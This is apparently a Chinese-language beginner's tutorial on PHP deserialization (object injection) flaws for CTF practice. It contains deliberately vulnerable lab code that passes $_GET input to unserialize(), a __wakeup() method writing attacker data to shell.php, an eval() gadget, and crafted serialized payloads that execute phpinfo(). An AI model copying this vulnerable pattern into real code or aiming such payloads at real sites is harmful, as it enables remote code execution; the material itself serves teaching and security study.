php反序列化

php反序列化漏洞,又叫php对象注入漏洞。

0x00 序列化与反序列化

php中有两个函数serialize()和unserialize()。

serialize()

当在php中创建了一个对象后,可以通过serialize()把这个对象转成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下:

1
2
3
4
5
6
7
8
<?php
class anonym1ty{
var $test = '123';
}
$class1 = new anonym1ty;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

这里创建了一个新的对象,并且将其序列化后的结果打印出来:

1
O:9:"anonym1ty":1:{s:4:"test";s:3:"123";}

这里的O代表储存的是对象(object),假如给serialize()传入的是一个数组,那它会变成字母a。9表示对象名称有9个字符。"anonym1ty"表示对象的名称。1表示有一个值。{s:4:"test";s:3:"123";}中,s表示字符串,4表示该字符串的长度,"test"为字符串的名称,之后的类似。

unserialize()

与serialize()对应的,unserialize()可以从已储存的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象(object)。

1
2
3
4
5
6
7
8
9
<?php
class anonym1ty{
var $test = '123';
}
$class2 = 'O:9:"anonym1ty":1:{s:4:"test";s:3:"123";}'; print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
?>

打印出来的结果为:

1
2
O:9:"anonym1ty":1:{s:4:"test";s:3:"123";}
anonym1ty Object ( [test] => 123 )

补充:当使用unserialize()恢复对象时,将调用__wakeup()成员函数。

0x01 反序列化漏洞

由前面可以看出,当传给unserialize()的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

0x02 利用构造函数

Magic function

php中有一类特殊的方法叫”Magic function”,这里着重关注以下几个:

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

  • 析构函数__destruct():当对象被销毁时会自动调用。

  • __wakeup():unserialize()时会自动调用。


  • 测试代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <?php
    class anonym1ty{
    var $test = '123';
    function __wakeup(){
    echo "__wakeup";
    echo "</br>";
    }
    function __construct(){
    echo "__construct";
    echo "</br>";
    }
    function __destruct(){
    echo "__destruct";
    echo "</br>";
    }
    }
    $class2 = 'O:9:"anonym1ty":1:{s:4:"test";s:3:"123";}';
    print_r($class2);
    echo "</br>";
    $class2_unser = unserialize($class2);
    print_r($class2_unser);
    echo "</br>";
    ?>

    打印出来的结果为:

    1
    2
    3
    4
    O:9:"anonym1ty":1:{s:4:"test";s:3:"123";}
    __wakeup
    anonym1ty Object ( [test] => 123 )
    __destruct

    利用场景

    ###wakeup()或 destruct()
    unserialize()后会导致wakeup() 或 destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或 destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对__wakeup()场景做个实验。测试代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php
    class anonym1ty{
    var $test = '123';
    function __wakeup(){
    $fp = fopen("shell.php","w") ;
    fwrite($fp,$this->test);
    fclose($fp);
    }
    }
    $class3 = $_GET['test'];
    print_r($class3);
    echo "</br>";
    $class3_unser = unserialize($class3);
    require "shell.php";
    // 为显示效果,把这个shell.php包含进来
    ?>

    在index.php目录下有个空的shell.php文件。访问index.php。
    截图
    基本的思路是,本地搭建好环境,通过serialize()得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为"<?php phpinfo(); ?>",再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。写一个php脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    class anonym1ty{
    var $test = '123';
    function __wakeup(){
    $fp = fopen("shell.php","w") ;
    fwrite($fp,$this->test);
    fclose($fp);
    }
    }
    $class4 = new anonym1ty();
    $class4->test = "<?php phpinfo(); ?>"; $class4_ser = serialize($class4); print_r($class4_ser);
    ?>

    由此得到序列化结果:

    1
    O:9:"anonym1ty":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

    截图
    在shell.php中也被写入的<?php phpinfo(); ?>
    截图

    0x03 利用普通成员方法

    前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。
    测试代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php
    class anonym1ty {
    var $test;
    function __construct() {
    $this->test = new dou1();
    }
    function __destruct() {
    $this->test->action();
    }
    }
    class dou1 {
    function action() {
    echo "dou1";
    }
    }
    class dou2 {
    var $test2;
    function action() {
    eval($this->test2);
    }
    }
    $class6 = new anonym1ty();
    unserialize($_GET['test']);
    ?>

    本意上,new一个新的anonym1ty对象后,调用construct(),其中又new了dou1对象。在结束后会调用 destruct(),其中会调用action(),从而输出dou1。
    截图
    下面是利用过程,构造序列化:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    class anonym1ty {
    var $test;
    function __construct() {
    $this->test = new dou2();
    }
    }
    class dou2 {
    var $test2 = "phpinfo();";
    }
    echo serialize(new anonym1ty());
    ?>

    得到

    1
    O:9:"anonym1ty":1:{s:4:"test";O:4:"dou2":1:{s:5:"test2";s:10:"phpinfo();";}}

    传给参数test。
    截图

    0x04 个人的闲谈

    php反序列化在CTF也算较为常见的题型,本文的为一些较为基础的利用方法,具体题目可能会遇到很多坑,还需细细品味。希望这篇文章对初学者能有所帮助。